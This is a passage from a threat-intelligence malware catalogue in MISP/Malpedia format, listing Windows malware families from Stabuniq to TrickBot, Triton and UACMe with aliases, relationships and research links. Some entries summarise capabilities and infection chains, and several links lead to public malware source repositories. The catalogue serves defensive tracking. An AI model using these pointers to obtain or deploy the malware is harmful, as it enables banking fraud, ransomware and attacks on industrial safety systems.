https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Stabuniq

The tag is: *misp-galaxy:malpedia="Stabuniq"*

Stabuniq is also known as:

Table 1504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq
http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html
https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers

Stampedo

The tag is: *misp-galaxy:malpedia="Stampedo"*

Stampedo is also known as:

Table 1505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo
https://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/

StarCruft

The tag is: *misp-galaxy:malpedia="StarCruft"*

StarCruft is also known as:

Table 1506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft
https://securelist.com/operation-daybreak/75100/

StarLoader

The tag is: *misp-galaxy:malpedia="StarLoader"*

StarLoader is also known as:

Table 1507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

StarsyPound

The tag is: *misp-galaxy:malpedia="StarsyPound"*

StarsyPound is also known as:

Table 1508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

StegoLoader

The tag is: *misp-galaxy:malpedia="StegoLoader"*

StegoLoader is also known as:

Table 1509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader

https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer

Stinger

The tag is: *misp-galaxy:malpedia="Stinger"*

Stinger is also known as:

Table 1510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger

Stration

The tag is: *misp-galaxy:malpedia="Stration"*

Stration is also known as:

Table 1511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stration

Stresspaint

The tag is: *misp-galaxy:malpedia="Stresspaint"*

Stresspaint is also known as:

Table 1512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint
https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/
https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/
https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/
https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/

StrongPity

The tag is: *misp-galaxy:malpedia="StrongPity"*

StrongPity is also known as:

Table 1513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity
https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/
https://twitter.com/physicaldrive0/status/786293008278970368
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/
https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/

Stuxnet

The tag is: *misp-galaxy:malpedia="Stuxnet"*

Stuxnet is also known as:

Stuxnet has relationships with:

- similar: misp-galaxy:tool="Stuxnet" with estimative-language:likelihood-probability="likely"

Table 1514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet
http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html

SunOrcal

The tag is: *misp-galaxy:malpedia="SunOrcal"*

SunOrcal is also known as:

Table 1515. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
http://pwc.blogs.com/cyber_security_updates/2016/03/index.html

SuppoBox

The tag is: *misp-galaxy:malpedia="SuppoBox"*

SuppoBox is also known as:

Table 1516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox

Swift?

The tag is: *misp-galaxy:malpedia="Swift?"*

Swift? is also known as:

Table 1517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.swift
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/

Sword

The tag is: *misp-galaxy:malpedia="Sword"*

Sword is also known as:

Table 1518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sword
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

sykipot

The tag is: *misp-galaxy:malpedia="sykipot"*

sykipot is also known as:

- getkys

Table 1519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot
https://www.symantec.com/connect/blogs/sykipot-attacks
https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://www.alienvault.com/blogs/labs-research/sykipot-is-back
https://community.rsa.com/thread/185437

SynAck

The tag is: *misp-galaxy:malpedia="SynAck"*

SynAck is also known as:

SynAck has relationships with:

- similar: misp-galaxy:ransomware="SynAck" with estimative-language:likelihood-probability="likely"

Table 1520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synack
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/

SyncCrypt

The tag is: *misp-galaxy:malpedia="SyncCrypt"*

SyncCrypt is also known as:

SyncCrypt has relationships with:

- similar: misp-galaxy:ransomware="SyncCrypt" with estimative-language:likelihood-probability="likely"

Table 1521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/

SynFlooder

The tag is: *misp-galaxy:malpedia="SynFlooder"*

SynFlooder is also known as:

Table 1522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Synth Loader

The tag is: *misp-galaxy:malpedia="Synth Loader"*

Synth Loader is also known as:

Table 1523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synth_loader

Sys10

The tag is: *misp-galaxy:malpedia="Sys10"*

Sys10 is also known as:

Sys10 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Sys10 - S0060" with estimative-language:likelihood-probability="likely"

Table 1524. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf

Syscon

The tag is: *misp-galaxy:malpedia="Syscon"*

Syscon is also known as:

Table 1525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon
http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/

SysGet

The tag is: *misp-galaxy:malpedia="SysGet"*

SysGet is also known as:

Table 1526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/

SysScan

The tag is: *misp-galaxy:malpedia="SysScan"*

SysScan is also known as:

Table 1527. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysscan

Szribi

The tag is: *misp-galaxy:malpedia="Szribi"*

Szribi is also known as:

Table 1528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi
https://www.fireeye.com/blog/threat-research/2008/11/technical-details-of-srizbis-domain-generation-algorithm.html
https://www.secureworks.com/research/srizbi
https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel

TabMsgSQL

The tag is: *misp-galaxy:malpedia="TabMsgSQL"*

TabMsgSQL is also known as:

Table 1529. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

taidoor

The tag is: *misp-galaxy:malpedia="taidoor"*

taidoor is also known as:

- simbot

Table 1530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf
http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html

Taleret

The tag is: *misp-galaxy:malpedia="Taleret"*

Taleret is also known as:

Table 1531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html

Tandfuy

The tag is: *misp-galaxy:malpedia="Tandfuy"*

Tandfuy is also known as:

Table 1532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy

Tapaoux

The tag is: *misp-galaxy:malpedia="Tapaoux"*

Tapaoux is also known as:

Table 1533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux
https://securelist.com/files/2014/11/darkhotel_kl_07.11.pdf

Tarsip

The tag is: *misp-galaxy:malpedia="Tarsip"*

Tarsip is also known as:

Table 1534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

tDiscoverer

The tag is: *misp-galaxy:malpedia="tDiscoverer"*

tDiscoverer is also known as:

Table 1535. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf

TDTESS

The tag is: *misp-galaxy:malpedia="TDTESS"*

TDTESS is also known as:

TDTESS has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="TDTESS - S0164" with estimative-language:likelihood-probability="likely"

Table 1536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdtess
http://www.clearskysec.com/tulip/

TeleBot

The tag is: *misp-galaxy:malpedia="TeleBot"*

TeleBot is also known as:

Table 1537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

TeleDoor

The tag is: *misp-galaxy:malpedia="TeleDoor"*

TeleDoor is also known as:

Table 1538. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/
http://blog.talosintelligence.com/2017/07/the-medoc-connection.html

Tempedreve

The tag is: *misp-galaxy:malpedia="Tempedreve"*

Tempedreve is also known as:

Table 1539. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve

Terminator RAT

The tag is: *misp-galaxy:malpedia="Terminator RAT"*

Terminator RAT is also known as:

- Fakem RAT

Terminator RAT has relationships with:

- similar: misp-galaxy:tool="Fakem RAT" with estimative-language:likelihood-probability="likely"

Table 1540. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat
https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf
https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf
https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html

TeslaCrypt

The tag is: *misp-galaxy:malpedia="TeslaCrypt"*

TeslaCrypt is also known as:

- cryptesla

Table 1541. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt
https://blogs.cisco.com/security/talos/teslacrypt
https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/
https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla
https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/
https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/
https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf
https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/
https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack

Thanatos

The tag is: *misp-galaxy:malpedia="Thanatos"*

Thanatos is also known as:

- Alphabot

Thanatos has relationships with:

- similar: misp-galaxy:ransomware="Thanatos" with estimative-language:likelihood-probability="likely"

Table 1542. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos
https://www.proofpoint.com//us/threat-insight/post/Death-Comes-Calling-Thanatos-Alphabot-Trojan-Hits-Market

Thanatos Ransomware

The tag is: *misp-galaxy:malpedia="Thanatos Ransomware"*

Thanatos Ransomware is also known as:

Table 1543. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom
https://www.bleepingcomputer.com/news/security/thanatos-ransomware-decryptor-released-by-the-cisco-talos-group/
https://www.bleepingcomputer.com/news/security/thanatos-ransomware-is-first-to-use-bitcoin-cash-messes-up-encryption/
https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html

ThreeByte

The tag is: *misp-galaxy:malpedia="ThreeByte"*

ThreeByte is also known as:

Table 1544. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.threebyte
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

ThumbThief

The tag is: *misp-galaxy:malpedia="ThumbThief"*

ThumbThief is also known as:

Table 1545. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thumbthief
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

Thunker

The tag is: *misp-galaxy:malpedia="Thunker"*

Thunker is also known as:

Table 1546. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thunker

Tidepool

The tag is: *misp-galaxy:malpedia="Tidepool"*

Tidepool is also known as:

Table 1547. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool
http://researchcenter.paloaltonetworks.com/2016/05/operation-ke3chang-resurfaces-with-new-tidepool-malware/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

Tinba

The tag is: *misp-galaxy:malpedia="Tinba"*

Tinba is also known as:

- Zusy
- TinyBanker
- Illi

Tinba has relationships with:

- similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Tinba" with estimative-language:likelihood-probability="likely"

Table 1548. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba
http://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_w32-tinba-tinybanker.pdf

https://labsblog.f-secure.com/2016/01/18/analyzing-tinba-configuration-data/
http://garage4hackers.com/entry.php?b=3086
https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/
https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant
http://stopmalvertising.com/malware-reports/mini-analysis-of-the-tinybanker-tinba.html
https://securityintelligence.com/tinba-trojan-sets-its-sights-on-romania/
http://contagiodump.blogspot.com/2012/06/amazon.html
http://www.theregister.co.uk/2012/06/04/small_banking_trojan/

TinyLoader

The tag is: *misp-galaxy:malpedia="TinyLoader"*

TinyLoader is also known as:

Table 1549. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader
https://www.fidelissecurity.com/threatgeek/2017/07/deconstructing-tinyloader-0

TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for $2500 in 2016. The program’s author claimed the malware was written from scratch, but that it functioned similarly to the ZeuS banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: *misp-galaxy:malpedia="TinyNuke"*

TinyNuke is also known as:

- NukeBot
- Nuclear Bot
- MicroBankingTrojan
- Xbot

TinyNuke has relationships with:

- similar: misp-galaxy:mitre-mobile-attack-tool="Xbot - MOB-S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"

Table 1550. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596
https://forums.juniper.net/t5/Threat-Research/Nukebot-Banking-Trojan-targeting-people-in-France/ba-p/326702
https://www.bitsighttech.com/blog/break-out-of-the-tinynuke-botnet
https://benkowlab.blogspot.de/2017/08/quick-look-at-another-alina-fork-xbot.html
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/
https://krebsonsecurity.com/tag/nuclear-bot/

TinyTyphon

The tag is: *misp-galaxy:malpedia="TinyTyphon"*

TinyTyphon is also known as:

TinyTyphon has relationships with:

- similar: misp-galaxy:tool="TinyTyphon" with estimative-language:likelihood-probability="likely"

Table 1551. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

TinyZbot

The tag is: *misp-galaxy:malpedia="TinyZbot"*

TinyZbot is also known as:

Table 1552. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyzbot
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Tiop

The tag is: *misp-galaxy:malpedia="Tiop"*

Tiop is also known as:

Table 1553. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tiop

Tofsee

The tag is: *misp-galaxy:malpedia="Tofsee"*

Tofsee is also known as:

- Gheg

Tofsee has relationships with:

- similar: misp-galaxy:botnet="Gheg" with estimative-language:likelihood-probability="likely"

Table 1554. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee
https://zerophagemalware.com/2017/03/24/terror-ek-delivers-tofsee-spambot/
https://www.cert.pl/en/news/single/tofsee-en/
https://www.cert.pl/en/news/single/a-deeper-look-at-tofsee-modules/

TorrentLocker

The tag is: *misp-galaxy:malpedia="TorrentLocker"*

TorrentLocker is also known as:

TorrentLocker has relationships with:

- similar: misp-galaxy:ransomware="CryptoFortress" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="TorrentLocker" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="CryptoFortress" with estimative-language:likelihood-probability="likely"

Table 1555. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker
http://www.bleepingcomputer.com/forums/t/547708/torrentlocker-ransomware-cracked-and-decrypter-has-been-made/
http://www.isightpartners.com/2014/08/analysis-torrentlocker-new-strain-malware-using-components-cryptolocker-cryptowall/

TreasureHunter

The tag is: *misp-galaxy:malpedia="TreasureHunter"*

TreasureHunter is also known as:

- huntpos

Table 1556. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter
http://adelmas.com/blog/treasurehunter.php
https://www.flashpoint-intel.com/blog/treasurehunter-source-code-leaked/
https://www.fireeye.com/blog/threat-research/2016/03/treasurehunt_a_cust.html

TrickBot

A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tactics. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.

- Q4 2016 - Detected in wild Oct 2016 - 1st Report Jan 2018 - Use XMRIG (Monero) miner Feb 2018 - Theft Bitcoin Mar 2018 - Unfinished ransomware module

Infection Vector 1. Phish > Link MS Office > Macro Enabled > Downloader > Trickbot 2. Phish > Attached MS Office > Marco Enabled > Downloader > Trickbot 3. Phish > Attached MS Office > Marco enabled > Trickbot installed

The tag is: *misp-galaxy:malpedia="TrickBot"*

TrickBot is also known as:

- Trickster
- TheTrick
- TrickLoader

TrickBot has relationships with:

- similar: misp-galaxy:tool="Trick Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Trickbot" with estimative-language:likelihood-probability="likely"

Table 1557. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trickbot
https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/
https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412
http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre
https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/
https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
https://www.youtube.com/watch?v=KMcSAlS9zGE
https://www.arbornetworks.com/blog/asert/trickbot-banker-insights/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/
http://www.vkremez.com/2018/04/lets-learn-trickbot-implements-network.html
https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/
https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader
https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/
https://blog.fraudwatchinternational.com/malware/trickbot-malware-works
https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/
https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms
https://blogs.forcepoint.com/security-labs/trickbot-spread-necurs-botnet-adds-nordic-countries-its-targets
https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot
https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html
https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/
https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf
http://www.malware-traffic-analysis.net/2018/02/01/
http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot
https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/
http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/
http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html
https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-3-core

https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html
https://www.youtube.com/watch?v=EdchPEHnohw
https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html
https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html
https://www.youtube.com/watch?v=lTywPmZEU1A
https://qmemcpy.github.io/post/reverse-engineering-malware-trickbot-part-1-packer
https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf
https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/

win.triton

Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.

The tag is: *misp-galaxy:malpedia="win.triton"*

win.triton is also known as:

- Trisis
- HatMan

Table 1558. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.triton
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware
https://github.com/ICSrepo/TRISIS-TRITON-HATMAN

Trochilus RAT

The tag is: *misp-galaxy:malpedia="Trochilus RAT"*

Trochilus RAT is also known as:

Table 1559. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf

https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://github.com/5loyd/trochilus/

Troldesh

The tag is: *misp-galaxy:malpedia="Troldesh"*

Troldesh is also known as:

- Shade

Table 1560. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh
https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/
https://securelist.com/the-shade-encryptor-a-double-threat/72087/

Trump Ransom

The tag is: *misp-galaxy:malpedia="Trump Ransom"*

Trump Ransom is also known as:

Table 1561. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.trump_ransom

Tsifiri

The tag is: *misp-galaxy:malpedia="Tsifiri"*

Tsifiri is also known as:

Table 1562. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tsifiri

TURNEDUP

The tag is: *misp-galaxy:malpedia="TURNEDUP"*

TURNEDUP is also known as:

TURNEDUP has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="TURNEDUP - S0199" with estimative-language:likelihood-probability="likely"

Table 1563. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Tyupkin

The tag is: *misp-galaxy:malpedia="Tyupkin"*

Tyupkin is also known as:

Table 1564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tyupkin
https://www.lastline.com/labsblog/tyupkin-atm-malware/

UACMe

A toolkit maintained by hfiref0x which incorporates numerous UAC bypass techniques for Windows 7 - Windows 10. Typically, components of this tool are stripped out and reused by malicious actors.

The tag is: *misp-galaxy:malpedia="UACMe"*

UACMe is also known as:

- Akagi

UACMe has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="UACMe - S0116" with estimative-language:likelihood-probability="likely"

Table 1565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme
https://github.com/hfiref0x/UACME

UDPoS

The tag is: *misp-galaxy:malpedia="UDPoS"*

UDPoS is also known as:

Table 1566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos
https://blogs.forcepoint.com/security-labs/udpos-exfiltrating-credit-card-data-dns
https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html

Uiwix

The tag is: *misp-galaxy:malpedia="Uiwix"*

Uiwix is also known as:

Table 1567. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uiwix
https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue

Unidentified 001

The tag is: *misp-galaxy:malpedia="Unidentified 001"*

Unidentified 001 is also known as:

Table 1568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_001

Unidentified 003

The tag is: *misp-galaxy:malpedia="Unidentified 003"*

Unidentified 003 is also known as:

Table 1569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003

unidentified_005

The tag is: *misp-galaxy:malpedia="unidentified_005"*

unidentified_005 is also known as:

unidentified_005 has relationships with:

- similar: misp-galaxy:malpedia="Spy-Net" with estimative-language:likelihood-probability="likely"

Table 1570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_005

Unidentified 006

The tag is: *misp-galaxy:malpedia="Unidentified 006"*

Unidentified 006 is also known as:

Table 1571. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006

Unidentified 013 (Korean)

The tag is: *misp-galaxy:malpedia="Unidentified 013 (Korean)"*

Unidentified 013 (Korean) is also known as:

Table 1572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware
http://blog.talosintelligence.com/2017/02/korean-maldoc.html

Unidentified 020 (Vault7)

The tag is: *misp-galaxy:malpedia="Unidentified 020 (Vault7)"*

Unidentified 020 (Vault7) is also known as:

Table 1573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_020_cia_vault7
https://wikileaks.org/ciav7p1/cms/page_34308128.html

Unidentified 022 (Ransom)

The tag is: *misp-galaxy:malpedia="Unidentified 022 (Ransom)"*

Unidentified 022 (Ransom) is also known as:

Table 1574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_022_ransom

Unidentified 023

The tag is: *misp-galaxy:malpedia="Unidentified 023"*

Unidentified 023 is also known as:

Table 1575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_023

Unidentified 024 (Ransomware)

The tag is: *misp-galaxy:malpedia="Unidentified 024 (Ransomware)"*

Unidentified 024 (Ransomware) is also known as:

Table 1576. Table References

Links
